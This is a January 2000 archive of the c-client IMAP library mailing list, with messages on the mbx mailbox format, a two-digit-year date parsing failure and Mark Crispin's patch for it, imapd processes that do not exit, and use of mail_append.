ccsu11 (SMI-8.6//ident-1.0) id QAA28573; Thu, 6 Jan 2000 16:35:44 +0800 Message-Id: <20000106163543.A28565@ccsu11.ust.hk> Date: Thu, 6 Jan 2000 16:35:43 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lai Yiu Fai To: c-client Interest List Subject: mbx mailbox format Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Do anyone know where can I find the specification of mbx mailbox format? I would like to write scripts to convert back to Berkeley-style mailbox. Though mbxcvt can do the work, it is not designed for mass conversion and the speed is really slow. I found that mbx mainly consists of two parts, the header in the beginning of the mailbox file and a line of header information for each message, do anyone know exactly the syntax and definition of these headers? Rgds, ======================================================================= Lai Yiu Fai | Tel.: (852) 2358-6202 Information Technology Services | Fax.: (852) 2358-2737 Center | E-mail: ccyflai@ust.hk | The Hong Kong University of | Clear Water Bay, Science & Technology | Kowloon, Hong Kong. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 6 09:26:20 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Jan 2000 09:26:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA18678 for ; Thu, 6 Jan 2000 09:26:19 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA14973; Thu, 6 Jan 2000 09:26:16 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA15066; Thu, 6 Jan 2000 09:24:21 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA16364 for ; Thu, 6 Jan 2000 09:19:48 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA07227 for ; Thu, 6 Jan 2000 09:19:46 -0800 Received: from pc166.phy.hw.ac.uk (karsten@matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id RAA06321; Thu, 6 Jan 2000 17:19:32 GMT Message-Id: <200001061719.RAA06321@phy.hw.ac.uk> Date: Thu, 6 Jan 2000 17:20:30 -0800 (PST) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: Aurelien DEHAY , m-developers@egroups.com Cc: c-client Subject: Re[2]: VIM client In-Reply-To: <0214C3874B88D00E*/c=fr/admd=atlas/prmd=edfgdf/o=notes/s=Dehay/g=Aurelien/@MHS> References: <0214C3874B88D00E*/c=fr/admd=atlas/prmd=edfgdf/o=notes/s=Dehay/g=Aurelien/@MHS> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg VIM is Vendor Independent Mail. > It's the mail protocol for CC:Mail and Lotus Notes. > Specifications are free, but it's seem to be a strange protocol. >=20 > On 23 Dec 1999 18:06:26 +0100 you wrote: >=20 > > Hello. > > > > As I couldn't find this info anywhere, i'd like to ask you a little > question: > > Is there a VIM client for Linux (Maybe soon in M???) ? > > > > Thanks for your answer. > > > > >=20 > What is VIM ? > -- > Karsten Ball=B3der http://Ballueder.home.dhs.org/ mailto:karsten@phy.= hw.ac.uk > Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotla= nd > Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 > "In a world without fences, who needs Gates?" >=20 >=20 >=20 >=20 >=20 -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 From pinedev@shivax2.cac.washington.edu Thu Jan 6 10:18:34 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Jan 2000 10:18:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA21564 for ; Thu, 6 Jan 2000 10:18:33 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA13540; Thu, 6 Jan 2000 10:18:30 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA16798; Thu, 6 Jan 2000 10:16:14 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA23794 for ; Thu, 6 Jan 2000 10:15:19 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA28464 for ; Thu, 6 Jan 2000 10:15:19 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pao@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA13432 for ; Thu, 6 Jan 2000 10:15:18 -0800 Message-Id: Date: Thu, 6 Jan 2000 10:10:12 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lai Yiu Fai Cc: c-client Interest List Subject: re: mbx mailbox format In-Reply-To: <20000106163543.A28565@ccsu11.ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 6 Jan 2000 16:35:43 +0800, Lai Yiu Fai wrote: > Do anyone know where can I find the specification of mbx mailbox format? > I would like to write scripts to convert back to Berkeley-style mailbox. I can't help but wonder -- why do you want to do such a thing? That's a big step backward. > Though mbxcvt can do the work, it is not designed for mass conversion and > the speed is really slow. The reason why mbxcvt is slow is twofold: per-message append (which will be solved when I implement multi-append in c-client) and the necessity to check every line of the message to see if it might look like a "From " Berkeley internal header line. The leading ">" is inserted only if it the line matches the complete syntax for a Berkeley internal header; unlike certain stupid programs it won't insert a ">" just because the line begins with "From ". The per-message append is by far the major slowdown, and is the motivation behind multi-append. It will happen soon. From pinedev@shivax2.cac.washington.edu Thu Jan 6 11:01:48 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Jan 2000 11:01:48 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA22793 for ; Thu, 6 Jan 2000 11:01:47 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA15010; Thu, 6 Jan 2000 11:01:45 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA19642; Thu, 6 Jan 2000 10:59:27 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA24208 for ; Thu, 6 Jan 2000 10:57:45 -0800 Received: from tower.ti.com (tower.ti.com [192.94.94.5]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA04169 for ; Thu, 6 Jan 2000 10:57:41 -0800 Received: from dlep9.itg.ti.com ([157.170.135.38]) by tower.ti.com (8.9.3/8.9.3) with ESMTP id MAA13402 for ; Thu, 6 Jan 2000 12:57:35 -0600 (CST) Received: from dlep9.itg.ti.com (localhost [127.0.0.1]) by dlep9.itg.ti.com (8.9.3/8.9.3) with ESMTP id MAA20091 for ; Thu, 6 Jan 2000 12:57:35 -0600 (CST) Received: from spanky.dal.asp.ti.com (spanky.dal.asp.ti.com [172.24.154.20]) by dlep9.itg.ti.com (8.9.3/8.9.3) with ESMTP id MAA20087 for ; Thu, 6 Jan 2000 12:57:35 -0600 (CST) Received: from burnhill.dal.asp.ti.com (burnhill.dal.asp.ti.com [172.24.168.45]) by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.13) with SMTP id MAA16047 for ; Thu, 6 Jan 2000 12:57:35 -0600 (CST) Message-Id: <200001061857.MAA16047@spanky.dal.asp.ti.com> Date: Thu, 6 Jan 2000 12:57:35 -0600 (CST) Reply-To: Perry Narzem Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Perry Narzem To: c-client@u.washington.edu Subject: Imapd deamon not stopping MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: bUfFHaQtHmhzw0YUTAzAuA== X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hopefully a simple question. I have implemented UofW imapd on our server. I am testing the server and daemon and have a question. I used Netscape 4.7 as my imap mailtool and it worked great. I closed Netscape and started up Pine and now I have 2 daemons running. I then closed pine and the daemons are still running. Are they supposed to die after the mail readers are closed? prowler# ps -ef |grep imap pnarzem 20787 15511 0 11:34:37 ? 0:00 imapd sean 20630 15511 0 11:21:50 ? 0:02 imapd pnarzem 20798 15511 0 11:35:54 ? 0:00 imapd Please help. Regards, Perry ----------------------------------------------------- Perry Narzem | TI Email: pnarzem@ti.com Texas Instruments | phone: (972) 480-6327 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 6 14:18:14 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Jan 2000 14:18:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA24155 for ; Thu, 6 Jan 2000 14:18:12 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA24860; Thu, 6 Jan 2000 14:18:10 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA01132; Thu, 6 Jan 2000 14:16:06 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA29742 for ; Thu, 6 Jan 2000 14:11:22 -0800 Received: from ares.voicerite.com (totalcall.com [216.235.96.73]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA09826 for ; Thu, 6 Jan 2000 14:11:17 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id RAA19262 for ; Thu, 6 Jan 2000 17:15:17 -0500 Message-Id: <01d101bf5892$ad1fdfc0$2601a8c0@voicerite> Date: Thu, 6 Jan 2000 17:09:17 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: "DG C-CLIENT" Subject: unexpected y2k problems MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_01CE_01BF5868.C3CE1810" X-Priority: 3 X-MSMail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_01CE_01BF5868.C3CE1810 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit We encountered problems with date parsing. Experiments were made with c-client ver. 4.6. Problems are illustrated in the sample code below (attached file is not in CR-LF but LF-only format). In two words, when the year is presented by 2 last digits, 99 and 01 work fine and bring correct results, while 00 causes error. Any ideas? ------=_NextPart_000_01CE_01BF5868.C3CE1810 Content-Type: application/octet-stream; name="y2k_c-client.c" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="y2k_c-client.c" // ---------------------------------------------------------=0A= =0A= // c-client Y2K test. Built under AIX. How to:=0A= =0A= // 1. Put this file in a curent directory.=0A= =0A= // 2. Copy c-client.a, mail.h, linkage.h (and mail.c if you want=0A= // to use the debugger) into the some directory.=0A= =0A= // 3. Compile and link by=0A= =0A= // cc -g -qcpluscmt y2k_c-client.c -o y2k_c-client c-client.a=0A= =0A= /*=0A= Results:=0A= =0A= >>y2k_c-client =0A= date <06 Jan 99 11:12:13 EDT> parsed successfully=0A= ??? <06 Jan 00 11:12:13 EDT> caused parsing error!=0A= date <06 Jan 01 11:12:13 EDT> parsed successfully=0A= */=0A= =0A= =0A= // ---------------------------------------------------------=0A= #include =0A= #include =0A= #include =0A= =0A= #include "mail.h" // you'll need linkage.h also=0A= =0A= // ---------------------------------------------------------=0A= // plug-ins to make linkage possible:=0A= // ---------------------------------------------------------=0A= typedef unsigned long ULONG;=0A= void mm_critical(MAILSTREAM *s){}=0A= void mm_nocritical(MAILSTREAM *s){}=0A= void mm_exists(MAILSTREAM *s,ULONG n){}=0A= void mm_expunged(MAILSTREAM *s,ULONG n){}=0A= void mm_flags(MAILSTREAM *s,ULONG n){}=0A= void mm_dlog(char *string) {}=0A= void mm_log(char *string, long errflg) {}=0A= void mm_login(NETMBX *mb, char *user, char *pwd, long trial) {}=0A= void mm_fatal(char *string) {}=0A= long mm_diskerror(MAILSTREAM *s,long errcode,long serious) {}=0A= void mm_notify(MAILSTREAM *s,char *string,long errflg) {}=0A= void mm_list(MAILSTREAM *s, int delimiter, char *mbx, long attrs) {}=0A= void mm_lsub(MAILSTREAM *s, int delim, char *mbx, long attrs) {}=0A= void mm_searched(MAILSTREAM *s, ULONG number) {}=0A= void mm_status(MAILSTREAM *s, char *mbx, MAILSTATUS *status) {}=0A= // ---------------------------------------------------------=0A= // two-digit year 00 for 2000 causes problems in lines=0A= =0A= // 2149 if ((s[4] =3D=3D *s) && (y =3D strtoul ((const char *) = s+5,&s,10)) &&=0A= // 2150 (*s =3D=3D '\0' || *s =3D=3D ' ')) break;=0A= // 2151 default: return NIL; /* unknown date format */=0A= =0A= // of mail.c in long mail_parse_date (MESSAGECACHE *elt,char *s)=0A= =0A= // y is a year, it is correctly calculated as 0 so the flow goes=0A= // to default case.=0A= // ---------------------------------------------------------=0A= int main() {=0A= char datestr[64], datestr_saved[64];=0A= long lResult;=0A= MESSAGECACHE Elt;=0A= =0A= // success:=0A= strcpy(datestr, "06 Jan 99 11:12:13 EDT");=0A= strcpy(datestr_saved, datestr);=0A= lResult=3Dmail_parse_date(&Elt, datestr);=0A= if(lResult)=0A= printf("date <%s> parsed successfully\n", datestr_saved);=0A= else=0A= printf("??? <%s> caused parsing error!\n", datestr_saved);=0A= =0A= // error:=0A= strcpy(datestr, "06 Jan 00 11:12:13 EDT");=0A= strcpy(datestr_saved, datestr);=0A= lResult=3Dmail_parse_date(&Elt, datestr);=0A= if(lResult)=0A= printf("date <%s> parsed successfully\n", datestr_saved);=0A= else=0A= printf("??? <%s> caused parsing error!\n", datestr_saved);=0A= =0A= // success:=0A= strcpy(datestr, "06 Jan 01 11:12:13 EDT");=0A= strcpy(datestr_saved, datestr);=0A= lResult=3Dmail_parse_date(&Elt, datestr);=0A= if(lResult)=0A= printf("date <%s> parsed successfully\n", datestr_saved);=0A= else=0A= printf("??? <%s> caused parsing error!\n", datestr_saved);=0A= =0A= return 0;=0A= }=0A= // ---------------------------------------------------------=0A= ------=_NextPart_000_01CE_01BF5868.C3CE1810-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 6 16:04:26 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Jan 2000 16:04:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA31207 for ; Thu, 6 Jan 2000 16:04:25 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA28379; Thu, 6 Jan 2000 16:04:23 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA07464; Thu, 6 Jan 2000 16:03:14 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA32092 for ; Thu, 6 Jan 2000 16:02:13 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA20707 for ; Thu, 6 Jan 2000 16:02:13 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA07808; Thu, 6 Jan 2000 16:02:13 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (brit@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA22112; Thu, 6 Jan 2000 16:02:13 -0800 Message-Id: Date: Thu, 6 Jan 2000 15:56:47 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alex Shvedov Cc: DG C-CLIENT Subject: re: unexpected y2k problems In-Reply-To: <01d101bf5892$ad1fdfc0$2601a8c0@voicerite> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Like all other 2-digit years, 00 is an error, and it has been an error for the past 10 years. It just started getting enforced. Use 4-digit years from now on. The following patch will give you reclama for 00. Once again, this is not a bug fix; it is merely reclama for messages from MUAs which use 2-digit years. These MUAs should have been fixed 10 years ago. Even with this reclama, the axe will fall eventually. *** mail.c~ Tue Jan 4 17:13:18 2000 --- mail.c Wed Jan 5 11:46:13 2000 *************** *** 2247,2255 **** /* error if delimiter not here */ if (mi != *s++) return NIL; } ! if ((y = strtoul ((const char *) s,&s,10)) && (*s == '\0' || *s == ' ')) ! break; /* successfully parsed year */ ! default: return NIL; /* unknown date format */ } /* minimal validity check of date */ if ((d > 31) || (m > 12)) return NIL; --- 2250,2262 ---- /* error if delimiter not here */ if (mi != *s++) return NIL; } ! while (*s == ' ') s++; /* parse year */ ! if (isdigit (*s)) { /* must be a digit here */ ! y = strtoul ((const char *) s,&s,10); ! if (*s == '\0' || *s == ' ') break; ! } ! default: ! return NIL; /* unknown date format */ } /* minimal validity check of date */ if ((d > 31) || (m > 12)) return NIL; From pinedev@shivax2.cac.washington.edu Thu Jan 6 16:33:35 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Jan 2000 16:33:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA29591 for ; Thu, 6 Jan 2000 16:33:34 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA29262; Thu, 6 Jan 2000 16:33:32 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA09813; Thu, 6 Jan 2000 16:30:38 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA19640 for ; Thu, 6 Jan 2000 16:28:52 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA20850 for ; Thu, 6 Jan 2000 16:28:52 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA22671; Thu, 6 Jan 2000 16:28:52 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (harley@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA14389; Thu, 6 Jan 2000 16:28:52 -0800 Message-Id: Date: Thu, 6 Jan 2000 16:26:03 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Perry Narzem Cc: c-client@u.washington.edu Subject: re: Imapd deamon not stopping In-Reply-To: <200001061857.MAA16047@spanky.dal.asp.ti.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN IMAP servers are supposed to terminate when the client goes away, but if the client goes away without the proper IMAP logout protocol or even a TCP close, the IMAP server has no way of knowing that the client went away. In that case, it will go away after 30 minutes of inactivity. If it does not go away at that point, then it's a bug in your operating system. I've seen such problems on Solaris systems that are traced to the OS getting wedged. From pinedev@shivax2.cac.washington.edu Fri Jan 7 06:23:51 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 7 Jan 2000 06:23:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA00316 for ; Fri, 7 Jan 2000 06:23:50 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA10936; Fri, 7 Jan 2000 06:23:48 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id GAA19875; Fri, 7 Jan 2000 06:22:58 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id GAA30126 for ; Fri, 7 Jan 2000 06:21:28 -0800 Received: from fw7.dsccc.com (fw7.dsccc.com [192.245.102.17]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id GAA04891 for ; Fri, 7 Jan 2000 06:21:27 -0800 Received: (from uucp@localhost) by fw7.dsccc.com (8.8.8+Sun/8.8.8) id IAA17198 for ; Fri, 7 Jan 2000 08:21:25 -0600 (CST) Received: from relay2.dsccc.com(143.209.238.7) by fw7 via smap (V2.0) id xma017156; Fri, 7 Jan 00 08:21:04 -0600 Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by relay2.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id IAA25089 for ; Fri, 7 Jan 2000 08:22:02 -0600 (CST) Received: from sun1464.ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com (Netscape Messaging Server 3.6) with ESMTP id AAA5EE4; Fri, 7 Jan 2000 08:21:01 -0600 Message-Id: Date: Fri, 7 Jan 2000 08:21:02 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Walter Truitt" To: Mark Crispin Cc: Perry Narzem , c-client@u.washington.edu Subject: re: Imapd deamon not stopping In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: wtruitt@sun1464.ssd.usa.alcatel.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would venture to guess that the imapd is started as a daemon each connection rather than as a process that exits at the end of the session. I think the server has options for starting as a daemon and being controlled by the inetd daemon. -walter From pinedev@shivax2.cac.washington.edu Thu Jan 27 14:04:12 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jan 2000 14:04:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA07882 for ; Thu, 27 Jan 2000 14:04:11 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA30279; Thu, 27 Jan 2000 14:04:09 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA23045; Thu, 27 Jan 2000 14:02:51 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA24928 for ; Thu, 27 Jan 2000 14:00:05 -0800 Received: from web3004.mail.yahoo.com (web3004.mail.yahoo.com [204.71.202.167]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA28631 for ; Thu, 27 Jan 2000 14:00:02 -0800 Received: (qmail 29352 invoked by uid 60001); 27 Jan 2000 21:49:07 -0000 Received: from [209.167.202.218] by web3004.mail.yahoo.com; Thu, 27 Jan 2000 16:49:07 EST Message-Id: <20000127214907.29351.qmail@web3004.mail.yahoo.com> Date: Thu, 27 Jan 2000 16:49:07 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Ng To: c-client@u.washington.edu Subject: STRING Structure MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello .... I am writing some email application and one thing I want to do is save a message to the "Sent" folder after the message has been sent. I looked up the c-client interface and there is a function called mail_append. One of the arguments in this function is a STRING structure which is a STRING structure of message to write. Therefore I wrote the following code to try to mimic what I want to do but ran into problems, can someone please tell me what have I done wrong. Thanx string mail; // content of actual mail mail = "Test"; // assign mail to some content STRING *message; // pointer to STRING structure // initialize STRING structure to store mail mail_string_init(message, mail.c_str(), mail.length()); // append the message to the "Sent" folder, assume that // stream_ is opened successfully. mail_append(stream_, "Sent", message); Any help is appreciated. Thanx Andrew _______________________________________________________ Do You Yahoo!? Get your free @yahoo.ca address at http://mail.yahoo.ca -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 28 14:41:52 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jan 2000 14:41:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA11254 for ; Fri, 28 Jan 2000 14:41:51 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu 